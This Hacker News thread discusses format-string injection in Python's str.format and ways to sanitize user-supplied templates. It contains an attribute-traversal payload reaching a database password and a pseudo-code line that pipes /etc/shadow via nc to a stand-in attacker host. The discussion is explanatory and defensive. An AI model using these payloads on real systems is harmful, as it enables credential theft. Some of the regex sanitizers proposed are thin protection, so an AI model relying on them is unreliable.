Hacker News Reader

Comment by tedunangst | Hacker News Reader

Maybe a more fully worked example is needed. You're making a blog hosting service as a service service. Bloggers have different ideas about what page titles should be.

    Post Title
    Blog Name: Post Title
    Blog Name - Post Title
    Post Title - Blog Name
    Blog Name ----embdash---- Post Title
    ~~~ xXx Post Title xXx ~~~

It's a little overwhelming to put every possibility in a dropdown, so you allow the user to specify a format string.

    title = userformats.title.fmt(post)

This doesn't look so very dangerous. And then the user can say

    "{post.title} - {post.blog.title}"
    "{post.title}: Another fine post by "{post.author}"
    "~~~ xXx {post.blog.__init__.dbconnection.__keys__.password} xXx ~~~"

And then oops.

View on HN

Isn't ingesting user input directly considered a bad idea all around though?

ingesting raw user input is good

emitting raw user input is bad

Isn't SQL injection caused by ingesting raw user input though?

Seems to me you always have to be careful with user-supplied data.

"Ingesting raw user input is good if you only use it to interface with other systems that provide a way to separate data from instructions or at least escape strings."

sql injection is commonly caused by combining your query with its related data parameters in unsafe ways. you are emitting raw user input you received to another program, the database, it's your responsibility to give this to the DB safely.

you still have to be careful, and when you follow all the right best practices you can safely ingest raw user input.

I've worked at a company that escaped user input before inserting into the DB. it's a horrible nightmare I don't think anyone should have to experience.

I would have said that SQL injection is caused by emitting unescaped user input to your SQL server

If I call eval(string) am I emitting unescaped user input to the eval function?

I guess the definition of "injest" here is reading bytes off the wire?

If string is unescaped user input, then yes, you are.

Even if you don't emit the input you can run commands on the server. You can open up a reverse shell or deduce data from timing based side-channels. IMHO working with raw user data is bad; it should be sanitized/canonicalized before doing anything.

if you're running commands on the server I would consider your program as emitting output directly to another program. it's up to you to make sure you call it correctly and not emit raw user data

It seems the format string can run commands on the server.

I don't know Python, so this is a pseudo code example that a user could enter:

    "{system('nc c_and_c_box.example < /etc/shadow \
      > /dev/null')} Nothing to see here, move along"

Format strings in python are not equivalent to eval. The syntax looks similar, but it's actually limited to evaluating methods and list elements in a given object. Now, with Python's monkeys patchability this is worrying, but it's far from being eval.

Yes, so someone might think to verify that it matches a seemingly safe pattern like "word characters separated by zero or more periods", which is still insufficient.

Yes, but it's not obvious how to sanitize input in this case, or that it even needs sanitizing. Formatting a string sounds pretty innocuous.

I think "it's not obvious how to sanitize input" is the main point here --- one advantage of the %-style format strings, they're easier to parse and escape.

But we don't want the string escaped. We want it interpreted.

yes, basically eval is evil

And yet, eval is necessary for so many important things...

That's not even eval, the entire thing is a series of dynamic attribute lookups[0], you can trivially implement that in pure Python without needing to `eval` anything.

[0] it also supports mapping and sequence lookups IIRC but that's about the same thing

We want it interpreted, but we don't have to let the language handle it directly. A much safer way is to define our own syntax for this and interpret it in our code, with that code only having access to a limited set of safe substitutions.

For instance, suppose we want to allow user formatting of contact information. A contact entry has a name, address, phone number, and email address. The user supplies a template string using %_NAME_, %_ADDR_, %_PHONE_, and %_EMAIL where they would like the name, address, phone number, and email address substituted, respectively.

I'd probably be doing this in Perl, and I'd do it something like this:

  sub format_contact
  {
    my($template, $name, $addr, $phone, $email) = @_;
    my %val = (name => $name, addr => $addr,
            phone => $phone, email => $email);
    $template =~ s/%_([a-z]+)_/$val{lc($1)}/gi;
    return $template;
  }

Would sanitizing for double underscores be enough to capture the most dangerous cases?

    import re
    
    def sanitize(user_input):
        """Sanitize user input for str.format
        
        Usage:
            sanitize("{post.title} - {post.blog.title}")
            sanitize("{post.title}: Another fine post by "{post.author}")
            sanitize("~~~ xXx {post.blog.__init__.dbconnection.__keys__.password} xXx ~~~")
        
        """
        return re.sub(r'{[^}]*__[^}]*}', '', user_input)

Even better, we could specify which variables to allow in user input:

    import re
    
    def sanitize(user_input, *allowed_variables):
        """Sanitize user input for str.format
        
        Usage:
            allowed_variables = ["post.blog.title", "post.title", "post.author"]
            sanitize("{post.title} - {post.blog.title}", *allowed_variables)
            sanitize("{post.title}: Another fine post by "{post.author}", *allowed_variables)
            sanitize("~~~ xXx {post.blog.__init__.dbconnection.__keys__.password} xXx ~~~", *allowed_variables)
        
        """
        for match in re.finditer(r'{([^}]*)}', user_input):
            if match[1] not in allowed_variables:
                user_input = user_input.replace(match[0], '')
        return user_input

I feel like this sort of thing should be done with a proper template engine rather than just string formatting.

Reply on news.ycombinator.com